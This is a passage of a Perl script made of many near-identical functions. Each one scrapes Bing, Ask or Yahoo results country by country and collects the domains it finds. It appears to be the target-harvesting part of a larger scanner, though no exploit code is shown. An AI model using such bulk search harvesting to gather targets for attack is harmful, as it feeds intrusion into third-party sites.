  2951.             my $link = $1;
  2952.             if ($link !~ /msn|live|bingPT/) {
  2953.                 my @grep = links($link);
  2954.                 push(@list,@grep);
  2955.             }
  2956.         }
  2957.     }
  2958.     return @list;
  2959. }
  2960.  
  2961. sub bingNO() {
  2962.     my @list;
  2963.     my $key = $_[0];
  2964.     for (my $i=1; $i<=700; $i+=10) {
  2965.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
  2966.         my $res = &search_engine_query($search);
  2967.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2968.             my $link = $1;
  2969.             if ($link !~ /msn|live|bingNO/) {
  2970.                 my @grep = links($link);
  2971.                 push(@list,@grep);
  2972.             }
  2973.         }
  2974.     }
  2975.     return @list;
  2976. }
  2977.  
  2978. sub bingDK() {
  2979.     my @list;
  2980.     my $key = $_[0];
  2981.     for (my $i=1; $i<=700; $i+=10) {
  2982.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
  2983.         my $res = &search_engine_query($search);
  2984.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2985.             my $link = $1;
  2986.             if ($link !~ /msn|live|bingDK/) {
  2987.                 my @grep = links($link);
  2988.                 push(@list,@grep);
  2989.             }
  2990.         }
  2991.     }
  2992.     return @list;
  2993. }
  2994.  
  2995. sub bingSE() {
  2996.     my @list;
  2997.     my $key = $_[0];
  2998.     for (my $i=1; $i<=700; $i+=10) {
  2999.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
  3000.         my $res = &search_engine_query($search);
  3001.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3002.             my $link = $1;
  3003.             if ($link !~ /msn|live|bingSE/) {
  3004.                 my @grep = links($link);
  3005.                 push(@list,@grep);
  3006.             }
  3007.         }
  3008.     }
  3009.     return @list;
  3010. }
  3011.  
  3012. sub bingCH() {
  3013.     my @list;
  3014.     my $key = $_[0];
  3015.     for (my $i=1; $i<=700; $i+=10) {
  3016.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
  3017.         my $res = &search_engine_query($search);
  3018.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3019.             my $link = $1;
  3020.             if ($link !~ /msn|live|bingCH/) {
  3021.                 my @grep = links($link);
  3022.                 push(@list,@grep);
  3023.             }
  3024.         }
  3025.     }
  3026.     return @list;
  3027. }
  3028.  
  3029. sub bingNZ() {
  3030.     my @list;
  3031.     my $key = $_[0];
  3032.     for (my $i=1; $i<=700; $i+=10) {
  3033.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
  3034.         my $res = &search_engine_query($search);
  3035.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3036.             my $link = $1;
  3037.             if ($link !~ /msn|live|bingNZ/) {
  3038.                 my @grep = links($link);
  3039.                 push(@list,@grep);
  3040.             }
  3041.         }
  3042.     }
  3043.     return @list;
  3044. }
  3045.  
  3046. sub bingRU() {
  3047.     my @list;
  3048.     my $key = $_[0];
  3049.     for (my $i=1; $i<=700; $i+=10) {
  3050.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
  3051.         my $res = &search_engine_query($search);
  3052.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3053.             my $link = $1;
  3054.             if ($link !~ /msn|live|bingRU/) {
  3055.                 my @grep = links($link);
  3056.                 push(@list,@grep);
  3057.             }
  3058.         }
  3059.     }
  3060.     return @list;
  3061. }
  3062.  
  3063. sub bingJP() {
  3064.     my @list;
  3065.     my $key = $_[0];
  3066.     for (my $i=1; $i<=700; $i+=10) {
  3067.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
  3068.         my $res = &search_engine_query($search);
  3069.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3070.             my $link = $1;
  3071.             if ($link !~ /msn|live|bingJP/) {
  3072.                 my @grep = links($link);
  3073.                 push(@list,@grep);
  3074.             }
  3075.         }
  3076.     }
  3077.     return @list;
  3078. }
  3079.  
  3080. sub bingCN() {
  3081.     my @list;
  3082.     my $key = $_[0];
  3083.     for (my $i=1; $i<=700; $i+=10) {
  3084.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
  3085.         my $res = &search_engine_query($search);
  3086.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3087.             my $link = $1;
  3088.             if ($link !~ /msn|live|bingCN/) {
  3089.                 my @grep = links($link);
  3090.                 push(@list,@grep);
  3091.             }
  3092.         }
  3093.     }
  3094.     return @list;
  3095. }
  3096.  
  3097. sub bingKR() {
  3098.     my @list;
  3099.     my $key = $_[0];
  3100.     for (my $i=1; $i<=700; $i+=10) {
  3101.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
  3102.         my $res = &search_engine_query($search);
  3103.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3104.             my $link = $1;
  3105.             if ($link !~ /msn|live|bingKR/) {
  3106.                 my @grep = links($link);
  3107.                 push(@list,@grep);
  3108.             }
  3109.         }
  3110.     }
  3111.     return @list;
  3112. }
  3113.  
  3114. sub bingMX() {
  3115.     my @list;
  3116.     my $key = $_[0];
  3117.     for (my $i=1; $i<=700; $i+=10) {
  3118.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
  3119.         my $res = &search_engine_query($search);
  3120.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3121.             my $link = $1;
  3122.             if ($link !~ /msn|live|bingMX/) {
  3123.                 my @grep = links($link);
  3124.                 push(@list,@grep);
  3125.             }
  3126.         }
  3127.     }
  3128.     return @list;
  3129. }
  3130.  
  3131. sub bingAR() {
  3132.     my @list;
  3133.     my $key = $_[0];
  3134.     for (my $i=1; $i<=700; $i+=10) {
  3135.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
  3136.         my $res = &search_engine_query($search);
  3137.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3138.             my $link = $1;
  3139.             if ($link !~ /msn|live|bingAR/) {
  3140.                 my @grep = links($link);
  3141.                 push(@list,@grep);
  3142.             }
  3143.         }
  3144.     }
  3145.     return @list;
  3146. }
  3147.  
  3148. sub bingCL() {
  3149.     my @list;
  3150.     my $key = $_[0];
  3151.     for (my $i=1; $i<=700; $i+=10) {
  3152.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
  3153.         my $res = &search_engine_query($search);
  3154.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3155.             my $link = $1;
  3156.             if ($link !~ /msn|live|bingCL/) {
  3157.                 my @grep = links($link);
  3158.                 push(@list,@grep);
  3159.             }
  3160.         }
  3161.     }
  3162.     return @list;
  3163. }
  3164.  
  3165. sub bingAU() {
  3166.     my @list;
  3167.     my $key = $_[0];
  3168.     for (my $i=1; $i<=700; $i+=10) {
  3169.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
  3170.         my $res = &search_engine_query($search);
  3171.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3172.             my $link = $1;
  3173.             if ($link !~ /msn|live|bingAU/) {
  3174.                 my @grep = links($link);
  3175.                 push(@list,@grep);
  3176.             }
  3177.         }
  3178.     }
  3179.     return @list;
  3180. }
  3181.  
  3182. sub ask() {
  3183.     my @list;
  3184.     my $key = $_[0];
  3185.     for (my $i=1; $i<=100; $i+=1) {
  3186.         my $search = ("http://int.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3187.         my $res = &search_engine_query($search);
  3188.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3189.             my $link = $1;
  3190.             if ($link !~ /ask\.com/){
  3191.                 my @grep = links($link);
  3192.                 push(@list,@grep);
  3193.             }
  3194.         }
  3195.     }
  3196.     return @list;
  3197. }
  3198.  
  3199. sub askCA() {
  3200.     my @list;
  3201.     my $key = $_[0];
  3202.     for (my $i=1; $i<=100; $i+=1) {
  3203.         my $search = ("http://ca.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3204.         my $res = &search_engine_query($search);
  3205.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3206.             my $link = $1;
  3207.             if ($link !~ /askCA\.com/){
  3208.                 my @grep = links($link);
  3209.                 push(@list,@grep);
  3210.             }
  3211.         }
  3212.     }
  3213.     return @list;
  3214. }
  3215.  
  3216. sub askDE() {
  3217.     my @list;
  3218.     my $key = $_[0];
  3219.     for (my $i=1; $i<=100; $i+=1) {
  3220.         my $search = ("http://de.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3221.         my $res = &search_engine_query($search);
  3222.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3223.             my $link = $1;
  3224.             if ($link !~ /askDE\.com/){
  3225.                 my @grep = links($link);
  3226.                 push(@list,@grep);
  3227.             }
  3228.         }
  3229.     }
  3230.     return @list;
  3231. }
  3232.  
  3233. sub askIT() {
  3234.     my @list;
  3235.     my $key = $_[0];
  3236.     for (my $i=1; $i<=100; $i+=1) {
  3237.         my $search = ("http://it.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3238.         my $res = &search_engine_query($search);
  3239.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3240.             my $link = $1;
  3241.             if ($link !~ /askIT\.com/){
  3242.                 my @grep = links($link);
  3243.                 push(@list,@grep);
  3244.             }
  3245.         }
  3246.     }
  3247.     return @list;
  3248. }
  3249.  
  3250. sub askUK() {
  3251.     my @list;
  3252.     my $key = $_[0];
  3253.     for (my $i=1; $i<=100; $i+=1) {
  3254.         my $search = ("http://uk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3255.         my $res = &search_engine_query($search);
  3256.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3257.             my $link = $1;
  3258.             if ($link !~ /askUK\.com/){
  3259.                 my @grep = links($link);
  3260.                 push(@list,@grep);
  3261.             }
  3262.         }
  3263.     }
  3264.     return @list;
  3265. }
  3266.  
  3267. sub askFR() {
  3268.     my @list;
  3269.     my $key = $_[0];
  3270.     for (my $i=1; $i<=100; $i+=1) {
  3271.         my $search = ("http://fr.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3272.         my $res = &search_engine_query($search);
  3273.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3274.             my $link = $1;
  3275.             if ($link !~ /askFR\.com/){
  3276.                 my @grep = links($link);
  3277.                 push(@list,@grep);
  3278.             }
  3279.         }
  3280.     }
  3281.     return @list;
  3282. }
  3283.  
  3284. sub askES() {
  3285.     my @list;
  3286.     my $key = $_[0];
  3287.     for (my $i=1; $i<=100; $i+=1) {
  3288.         my $search = ("http://es.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3289.         my $res = &search_engine_query($search);
  3290.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3291.             my $link = $1;
  3292.             if ($link !~ /askES\.com/){
  3293.                 my @grep = links($link);
  3294.                 push(@list,@grep);
  3295.             }
  3296.         }
  3297.     }
  3298.     return @list;
  3299. }
  3300.  
  3301. sub askRU() {
  3302.     my @list;
  3303.     my $key = $_[0];
  3304.     for (my $i=1; $i<=100; $i+=1) {
  3305.         my $search = ("http://ru.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3306.         my $res = &search_engine_query($search);
  3307.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3308.             my $link = $1;
  3309.             if ($link !~ /askRU\.com/){
  3310.                 my @grep = links($link);
  3311.                 push(@list,@grep);
  3312.             }
  3313.         }
  3314.     }
  3315.     return @list;
  3316. }
  3317.  
  3318. sub askNL() {
  3319.     my @list;
  3320.     my $key = $_[0];
  3321.     for (my $i=1; $i<=100; $i+=1) {
  3322.         my $search = ("http://nl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3323.         my $res = &search_engine_query($search);
  3324.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3325.             my $link = $1;
  3326.             if ($link !~ /askNL\.com/){
  3327.                 my @grep = links($link);
  3328.                 push(@list,@grep);
  3329.             }
  3330.         }
  3331.     }
  3332.     return @list;
  3333. }
  3334.  
  3335. sub askPL() {
  3336.     my @list;
  3337.     my $key = $_[0];
  3338.     for (my $i=1; $i<=100; $i+=1) {
  3339.         my $search = ("http://pl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3340.         my $res = &search_engine_query($search);
  3341.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3342.             my $link = $1;
  3343.             if ($link !~ /askPL\.com/){
  3344.                 my @grep = links($link);
  3345.                 push(@list,@grep);
  3346.             }
  3347.         }
  3348.     }
  3349.     return @list;
  3350. }
  3351.  
  3352. sub askAT() {
  3353.     my @list;
  3354.     my $key = $_[0];
  3355.     for (my $i=1; $i<=100; $i+=1) {
  3356.         my $search = ("http://at.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3357.         my $res = &search_engine_query($search);
  3358.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3359.             my $link = $1;
  3360.             if ($link !~ /askAT\.com/){
  3361.                 my @grep = links($link);
  3362.                 push(@list,@grep);
  3363.             }
  3364.         }
  3365.     }
  3366.     return @list;
  3367. }
  3368.  
  3369. sub askSE() {
  3370.     my @list;
  3371.     my $key = $_[0];
  3372.     for (my $i=1; $i<=100; $i+=1) {
  3373.         my $search = ("http://se.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3374.         my $res = &search_engine_query($search);
  3375.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3376.             my $link = $1;
  3377.             if ($link !~ /askSE\.com/){
  3378.                 my @grep = links($link);
  3379.                 push(@list,@grep);
  3380.             }
  3381.         }
  3382.     }
  3383.     return @list;
  3384. }
  3385.  
  3386. sub askDK() {
  3387.     my @list;
  3388.     my $key = $_[0];
  3389.     for (my $i=1; $i<=100; $i+=1) {
  3390.         my $search = ("http://dk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3391.         my $res = &search_engine_query($search);
  3392.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3393.             my $link = $1;
  3394.             if ($link !~ /askDK\.com/){
  3395.                 my @grep = links($link);
  3396.                 push(@list,@grep);
  3397.             }
  3398.         }
  3399.     }
  3400.     return @list;
  3401. }
  3402.  
  3403. sub askNO() {
  3404.     my @list;
  3405.     my $key = $_[0];
  3406.     for (my $i=1; $i<=100; $i+=1) {
  3407.         my $search = ("http://no.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3408.         my $res = &search_engine_query($search);
  3409.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3410.             my $link = $1;
  3411.             if ($link !~ /askNO\.com/){
  3412.                 my @grep = links($link);
  3413.                 push(@list,@grep);
  3414.             }
  3415.         }
  3416.     }
  3417.     return @list;
  3418. }
  3419.  
  3420. sub askAU() {
  3421.     my @list;
  3422.     my $key = $_[0];
  3423.     for (my $i=1; $i<=100; $i+=1) {
  3424.         my $search = ("http://au.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3425.         my $res = &search_engine_query($search);
  3426.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3427.             my $link = $1;
  3428.             if ($link !~ /askAU\.com/){
  3429.                 my @grep = links($link);
  3430.                 push(@list,@grep);
  3431.             }
  3432.         }
  3433.     }
  3434.     return @list;
  3435. }
  3436.  
  3437. sub askBR() {
  3438.     my @list;
  3439.     my $key = $_[0];
  3440.     for (my $i=1; $i<=100; $i+=1) {
  3441.         my $search = ("http://br.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3442.         my $res = &search_engine_query($search);
  3443.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3444.             my $link = $1;
  3445.             if ($link !~ /askBR\.com/){
  3446.                 my @grep = links($link);
  3447.                 push(@list,@grep);
  3448.             }
  3449.         }
  3450.     }
  3451.     return @list;
  3452. }
  3453.  
  3454. sub askMX() {
  3455.     my @list;
  3456.     my $key = $_[0];
  3457.     for (my $i=1; $i<=100; $i+=1) {
  3458.         my $search = ("http://mx.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3459.         my $res = &search_engine_query($search);
  3460.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3461.             my $link = $1;
  3462.             if ($link !~ /askMX\.com/){
  3463.                 my @grep = links($link);
  3464.                 push(@list,@grep);
  3465.             }
  3466.         }
  3467.     }
  3468.     return @list;
  3469. }
  3470.  
  3471. sub askJP() {
  3472.     my @list;
  3473.     my $key = $_[0];
  3474.     for (my $i=1; $i<=100; $i+=1) {
  3475.         my $search = ("http://jp.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3476.         my $res = &search_engine_query($search);
  3477.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3478.             my $link = $1;
  3479.             if ($link !~ /askJP\.com/){
  3480.                 my @grep = links($link);
  3481.                 push(@list,@grep);
  3482.             }
  3483.         }
  3484.     }
  3485.     return @list;
  3486. }
  3487.  
  3488. sub yahoo() {
  3489.     my @list;
  3490.     my $key = $_[0];
  3491.     for (my $i=1; $i<=500; $i+=10) {
  3492.         my $search = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$i);
  3493.         my $res = &search_engine_query($search);
  3494.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3495.             my $link = $1;
  3496.             if ($link!~ /yahoo/){
  3497.                 my @grep = links($link);
  3498.                 push(@list,@grep);
  3499.             }
  3500.         }
  3501.     }
  3502.     return @list;
  3503. }
  3504.  
  3505. sub yahooCA() {
  3506.     my @list;
  3507.     my $key = $_[0];
  3508.     for (my $i=1; $i<=500; $i+=10) {
  3509.         my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3510.         my $res = &search_engine_query($search);
  3511.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3512.             my $link = $1;
  3513.             if ($link!~ /yahooCA/){
  3514.                 my @grep = links($link);
  3515.                 push(@list,@grep);
  3516.             }
  3517.         }
  3518.     }
  3519.     return @list;
  3520. }
  3521.  
  3522. sub yahooUK() {
  3523.     my @list;
  3524.     my $key = $_[0];
  3525.     for (my $i=1; $i<=500; $i+=10) {
  3526.         my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3527.         my $res = &search_engine_query($search);
  3528.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3529.             my $link = $1;
  3530.             if ($link!~ /yahooUK/){
  3531.                 my @grep = links($link);
  3532.                 push(@list,@grep);
  3533.             }
  3534.         }
  3535.     }
  3536.     return @list;
  3537. }
  3538.  
  3539. sub yahooDE() {
  3540.     my @list;
  3541.     my $key = $_[0];
  3542.     for (my $i=1; $i<=500; $i+=10) {
  3543.         my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3544.         my $res = &search_engine_query($search);
  3545.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3546.             my $link = $1;
  3547.             if ($link!~ /yahooDE/){
  3548.                 my @grep = links($link);
  3549.                 push(@list,@grep);
  3550.             }
  3551.         }
  3552.     }
  3553.     return @list;
  3554. }
  3555.  
  3556. sub yahooFR() {
  3557.     my @list;
  3558.     my $key = $_[0];
  3559.     for (my $i=1; $i<=500; $i+=10) {
  3560.         my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3561.         my $res = &search_engine_query($search);
  3562.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3563.             my $link = $1;
  3564.             if ($link!~ /yahooFR/){
  3565.                 my @grep = links($link);
  3566.                 push(@list,@grep);
  3567.             }
  3568.         }
  3569.     }
  3570.     return @list;
  3571. }
  3572.  
  3573. sub yahooES() {
  3574.     my @list;
  3575.     my $key = $_[0];
  3576.     for (my $i=1; $i<=500; $i+=10) {
  3577.         my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3578.         my $res = &search_engine_query($search);
  3579.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3580.             my $link = $1;
  3581.             if ($link!~ /yahooES/){
  3582.                 my @grep = links($link);
  3583.                 push(@list,@grep);
  3584.             }
  3585.         }
  3586.     }
  3587.     return @list;
  3588. }
  3589.  
  3590. sub yahooIT() {
  3591.     my @list;
  3592.     my $key = $_[0];
  3593.     for (my $i=1; $i<=500; $i+=10) {
  3594.         my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3595.         my $res = &search_engine_query($search);
  3596.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3597.             my $link = $1;
  3598.             if ($link!~ /yahooIT/){
  3599.                 my @grep = links($link);
  3600.                 push(@list,@grep);
  3601.             }
  3602.         }
  3603.     }
  3604.     return @list;
  3605. }
  3606.  
  3607. sub yahooHK() {
  3608.     my @list;
  3609.     my $key = $_[0];
  3610.     for (my $i=1; $i<=500; $i+=10) {
  3611.         my $search = ("http://HK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3612.         my $res = &search_engine_query($search);
  3613.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3614.             my $link = $1;
  3615.             if ($link!~ /yahooHK/){
  3616.                 my @grep = links($link);
  3617.                 push(@list,@grep);
  3618.             }
  3619.         }
  3620.     }
  3621.     return @list;
  3622. }
  3623.  
  3624. sub yahooID() {
  3625.     my @list;
  3626.     my $key = $_[0];
  3627.     for (my $i=1; $i<=500; $i+=10) {
  3628.         my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3629.         my $res = &search_engine_query($search);
  3630.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3631.             my $link = $1;
  3632.             if ($link!~ /yahooID/){
  3633.                 my @grep = links($link);
  3634.                 push(@list,@grep);
  3635.             }
  3636.         }
  3637.     }
  3638.     return @list;
  3639. }
  3640.  
  3641. sub yahooIN() {
  3642.     my @list;
  3643.     my $key = $_[0];
  3644.     for (my $i=1; $i<=500; $i+=10) {
  3645.         my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3646.         my $res = &search_engine_query($search);
  3647.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3648.             my $link = $1;
  3649.             if ($link!~ /yahooIN/){
  3650.                 my @grep = links($link);
  3651.                 push(@list,@grep);
  3652.             }
  3653.         }
  3654.     }
  3655.     return @list;
  3656. }
  3657.  
  3658. sub yahooAU() {
  3659.     my @list;
  3660.     my $key = $_[0];
  3661.     for (my $i=1; $i<=500; $i+=10) {
  3662.         my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3663.         my $res = &search_engine_query($search);
  3664.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3665.             my $link = $1;
  3666.             if ($link!~ /yahooAU/){
  3667.                 my @grep = links($link);
  3668.                 push(@list,@grep);
  3669.             }
  3670.         }
  3671.     }
  3672.     return @list;
  3673. }
  3674.  
  3675. sub yahooMX() {
  3676.     my @list;
  3677.     my $key = $_[0];
  3678.     for (my $i=1; $i<=500; $i+=10) {
  3679.         my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3680.         my $res = &search_engine_query($search);
  3681.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3682.             my $link = $1;
  3683.             if ($link!~ /yahooMX/){
  3684.                 my @grep = links($link);
  3685.                 push(@list,@grep);
  3686.             }
  3687.         }
  3688.     }
  3689.     return @list;
  3690. }
  3691.  
  3692. sub yahooTW() {
  3693.     my @list;
  3694.     my $key = $_[0];
  3695.     for (my $i=1; $i<=500; $i+=10) {
  3696.         my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3697.         my $res = &search_engine_query($search);
  3698.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3699.             my $link = $1;
  3700.             if ($link!~ /yahooTW/){
  3701.                 my @grep = links($link);
  3702.                 push(@list,@grep);
  3703.             }
  3704.         }
  3705.     }
  3706.     return @list;
  3707. }
  3708.  
  3709. sub yahooBR() {
  3710.     my @list;
  3711.     my $key = $_[0];
  3712.     for (my $i=1; $i<=500; $i+=10) {
  3713.         my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3714.         my $res = &search_engine_query($search);
  3715.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3716.             my $link = $1;
  3717.             if ($link!~ /yahooBR/){
  3718.                 my @grep = links($link);
  3719.                 push(@list,@grep);
  3720.             }
  3721.         }
  3722.     }
  3723.     return @list;
  3724. }
  3725.  
  3726. sub yahooAR() {
  3727.     my @list;
  3728.     my $key = $_[0];
  3729.     for (my $i=1; $i<=500; $i+=10) {
  3730.         my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3731.         my $res = &search_engine_query($search);
  3732.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3733.             my $link = $1;
  3734.             if ($link!~ /yahooAR/){
  3735.                 my @grep = links($link);
